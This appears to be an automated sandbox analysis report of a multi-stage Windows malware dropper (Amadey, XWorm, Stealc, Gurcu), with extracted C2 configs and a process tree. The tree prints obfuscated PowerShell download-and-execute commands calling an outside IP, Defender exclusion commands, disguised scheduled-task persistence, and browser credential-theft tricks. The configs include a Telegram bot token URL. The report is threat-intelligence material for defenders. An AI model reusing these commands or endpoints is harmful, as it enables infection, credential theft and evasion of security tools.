Overview

overview

10

Static

static

3

de6b319d9a...ca.exe

windows7-x64

10

de6b319d9a...ca.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    145s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-11-2024 05:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    de6b319d9a954c0d1d2889e288c0753b8920abd685bab8143f085443f981b7ca.exe

  • Size

    3.1MB

  • MD5

    a69aa32f8ef6d84b33b18056e03d52d7

  • SHA1

    302d6aeb0e86201b7048a9f39b6aa5d476a2d38e

  • SHA256

    de6b319d9a954c0d1d2889e288c0753b8920abd685bab8143f085443f981b7ca

  • SHA512

    e1c1637e7be30652e3b732c7c2d8ec1135209ece72f54d6a131cb27af241c962e914acb78aaa68a5150deeaf9ed46c35b9eb9a0decce43fa03438539035c5f2c

  • SSDEEP

    49152:9Ymcx4roZQ5VWaX2yYbKokN6y7Iex1hM0:95droartX2yYbFkOj0

Score
10/10
amadeygurcustealcxworm9c9aa5marscollectioncredential_accessdiscoveryevasionexecutionpersistenceratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://176.113.115.178/FF/2.png

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://176.113.115.178/FF/3.png

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain

Extracted

Family

xworm

C2

87.120.112.33:8398

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    svchost.exe

  • telegram

    https://api.telegram.org/bot6673004050:AAEcDfPnnGAswDvyrn9-bkOySVSnbPqLnBU/sendMessage?chat_id=1470436579

Extracted

Family

stealc

Botnet

mars

C2

http://185.215.113.206

Attributes
  • url_path

    /c4becf79229cb002.php

Extracted

Family

gurcu

C2

https://api.telegram.org/bot6673004050:AAEcDfPnnGAswDvyrn9-bkOySVSnbPqLnBU/sendMessage?chat_id=1470436579

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Xworm Payload 2 IoCs
  • Gurcu family
    gurcu
  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

    stealergurcu
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs
    evasion
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file
  • Uses browser remote debugging 2 TTPs 4 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 18 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 23 IoCs
  • Identifies Wine through registry keys 2 TTPs 9 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 9 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    evasiontrojan
  • Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs
    collection
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 26 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 10 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 5 IoCs
    evasion
  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 60 IoCs
  • Suspicious use of SendNotifyMessage 31 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\de6b319d9a954c0d1d2889e288c0753b8920abd685bab8143f085443f981b7ca.exe
    "C:\Users\Admin\AppData\Local\Temp\de6b319d9a954c0d1d2889e288c0753b8920abd685bab8143f085443f981b7ca.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3656
    • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
      "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:956
      • C:\Users\Admin\AppData\Local\Temp\1007744001\Lumma111.exe
        "C:\Users\Admin\AppData\Local\Temp\1007744001\Lumma111.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3980
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4624
          • C:\Windows\system32\mode.com
            mode 65,10
            5⤵
              PID:4052
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e file.zip -p1299923009167529232566422481 -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:2460
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_4.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:3904
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_3.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:1592
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_2.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:1312
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_1.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:208
            • C:\Windows\system32\attrib.exe
              attrib +H "Installer.exe"
              5⤵
              • Views/modifies file attributes
              PID:1096
            • C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
              "Installer.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              PID:2700
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1800
        • C:\Users\Admin\AppData\Local\Temp\1007944001\L.exe
          "C:\Users\Admin\AppData\Local\Temp\1007944001\L.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:4328
        • C:\Users\Admin\AppData\Local\Temp\1008005001\file.exe
          "C:\Users\Admin\AppData\Local\Temp\1008005001\file.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4092
          • C:\Windows\SYSTEM32\wscript.exe
            "wscript" C:\Users\Admin\AppData\Local\Temp\tempScript.js
            4⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:2976
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
              5⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:540
              • C:\Windows\System32\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\CMD.vbs"
                6⤵
                  PID:2244
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
                5⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4812
                • C:\Windows\system32\ipconfig.exe
                  "C:\Windows\system32\ipconfig.exe" /flushdns
                  6⤵
                  • Gathers network information
                  PID:1456
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                  6⤵
                  • Accesses Microsoft Outlook profiles
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  • outlook_office_path
                  • outlook_win_path
                  PID:3408
          • C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe
            "C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:848
            • C:\Users\Admin\AppData\Local\Temp\is-BL5JC.tmp\FunnyJellyfish.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-BL5JC.tmp\FunnyJellyfish.tmp" /SL5="$A02B6,1097818,140800,C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2836
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /C timeout /T 3 & "C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:5868
                • C:\Windows\SysWOW64\timeout.exe
                  timeout /T 3
                  6⤵
                  • System Location Discovery: System Language Discovery
                  • Delays execution with timeout.exe
                  PID:3756
                • C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe
                  "C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:5928
                  • C:\Users\Admin\AppData\Local\Temp\is-1K7HM.tmp\FunnyJellyfish.tmp
                    "C:\Users\Admin\AppData\Local\Temp\is-1K7HM.tmp\FunnyJellyfish.tmp" /SL5="$9027C,1097818,140800,C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
                    7⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of FindShellTrayWindow
                    PID:3164
                    • C:\Windows\SysWOW64\regsvr32.exe
                      "regsvr32.exe" /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\\DelightfulCard.dll"
                      8⤵
                      • Loads dropped DLL
                      • System Location Discovery: System Language Discovery
                      PID:2460
                      • C:\Windows\system32\regsvr32.exe
                        /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\\DelightfulCard.dll"
                        9⤵
                        • Loads dropped DLL
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4516
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\Admin\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }"
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:5620
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\Admin\AppData\Roaming\DelightfulCard.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{1D0DD40E-A59E-46DB-C7C8-00486DDCF0D6}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:5380
          • C:\Users\Admin\AppData\Local\Temp\1008030001\document.exe
            "C:\Users\Admin\AppData\Local\Temp\1008030001\document.exe"
            3⤵
            • Checks computer location settings
            • Drops startup file
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious behavior: AddClipboardFormatListener
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:6132
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1008030001\document.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5668
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'document.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:6696
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\svchost.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4008
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2596
          • C:\Users\Admin\AppData\Local\Temp\1008108001\8e499cd4e2.exe
            "C:\Users\Admin\AppData\Local\Temp\1008108001\8e499cd4e2.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:7164
          • C:\Users\Admin\AppData\Local\Temp\1008109001\adc4548f71.exe
            "C:\Users\Admin\AppData\Local\Temp\1008109001\adc4548f71.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:6060
          • C:\Users\Admin\AppData\Local\Temp\1008110001\27329d39c4.exe
            "C:\Users\Admin\AppData\Local\Temp\1008110001\27329d39c4.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:2784
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM firefox.exe /T
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3780
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM chrome.exe /T
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              PID:5716
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM msedge.exe /T
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              PID:1372
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM opera.exe /T
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              PID:1528
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM brave.exe /T
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              PID:5908
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
              4⤵
                PID:5524
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                  5⤵
                  • Checks processor information in registry
                  • Modifies registry class
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  • Suspicious use of SetWindowsHookEx
                  PID:5156
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1984 -parentBuildID 20240401114208 -prefsHandle 1916 -prefMapHandle 1908 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6a0f3914-6ee0-44c7-988f-19bc8424dfaf} 5156 "\\.\pipe\gecko-crash-server-pipe.5156" gpu
                    6⤵
                      PID:7000
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2404 -parentBuildID 20240401114208 -prefsHandle 2396 -prefMapHandle 2392 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a8203a04-0569-4c8e-b75b-41866668be44} 5156 "\\.\pipe\gecko-crash-server-pipe.5156" socket
                      6⤵
                        PID:5136
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3076 -childID 1 -isForBrowser -prefsHandle 3152 -prefMapHandle 2760 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bb62b6f5-79d7-4a19-9e55-7190b6afb9fb} 5156 "\\.\pipe\gecko-crash-server-pipe.5156" tab
                        6⤵
                          PID:2088
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3724 -childID 2 -isForBrowser -prefsHandle 3748 -prefMapHandle 3744 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e63f1597-b212-472e-b73e-4d098f6bd206} 5156 "\\.\pipe\gecko-crash-server-pipe.5156" tab
                          6⤵
                            PID:6076
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4800 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4792 -prefMapHandle 4788 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7eef523b-4e8b-42fe-8af7-54f890cef95c} 5156 "\\.\pipe\gecko-crash-server-pipe.5156" utility
                            6⤵
                            • Checks processor information in registry
                            PID:6140
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5488 -childID 3 -isForBrowser -prefsHandle 5336 -prefMapHandle 5364 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eb8dd3fe-41ac-4b19-a2c7-ad15588202b8} 5156 "\\.\pipe\gecko-crash-server-pipe.5156" tab
                            6⤵
                              PID:6272
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3932 -childID 4 -isForBrowser -prefsHandle 5488 -prefMapHandle 5504 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {51a739a2-c32e-46a4-8ad7-312abe13e3b1} 5156 "\\.\pipe\gecko-crash-server-pipe.5156" tab
                              6⤵
                                PID:6652
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5816 -childID 5 -isForBrowser -prefsHandle 5824 -prefMapHandle 5828 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7a37cff3-542d-4c13-ba68-b0c518f4ca83} 5156 "\\.\pipe\gecko-crash-server-pipe.5156" tab
                                6⤵
                                  PID:5364
                          • C:\Users\Admin\AppData\Local\Temp\1008111001\c908739900.exe
                            "C:\Users\Admin\AppData\Local\Temp\1008111001\c908739900.exe"
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                            • Checks BIOS information in registry
                            • Executes dropped EXE
                            • Identifies Wine through registry keys
                            • Windows security modification
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:6312
                          • C:\Users\Admin\AppData\Local\Temp\1008112001\6b6d057204.exe
                            "C:\Users\Admin\AppData\Local\Temp\1008112001\6b6d057204.exe"
                            3⤵
                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                            • Checks BIOS information in registry
                            • Checks computer location settings
                            • Executes dropped EXE
                            • Identifies Wine through registry keys
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • System Location Discovery: System Language Discovery
                            • Checks processor information in registry
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1944
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
                              4⤵
                              • Uses browser remote debugging
                              • Enumerates system info in registry
                              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                              • Suspicious use of FindShellTrayWindow
                              PID:3192
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffbfb98cc40,0x7ffbfb98cc4c,0x7ffbfb98cc58
                                5⤵
                                  PID:5140
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1744,i,2427019424258856408,5191399411740478578,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1740 /prefetch:2
                                  5⤵
                                    PID:2892
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2140,i,2427019424258856408,5191399411740478578,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2160 /prefetch:3
                                    5⤵
                                      PID:6476
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2192,i,2427019424258856408,5191399411740478578,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2448 /prefetch:8
                                      5⤵
                                        PID:2244
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3164,i,2427019424258856408,5191399411740478578,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3184 /prefetch:1
                                        5⤵
                                        • Uses browser remote debugging
                                        PID:6724
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3192,i,2427019424258856408,5191399411740478578,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3244 /prefetch:1
                                        5⤵
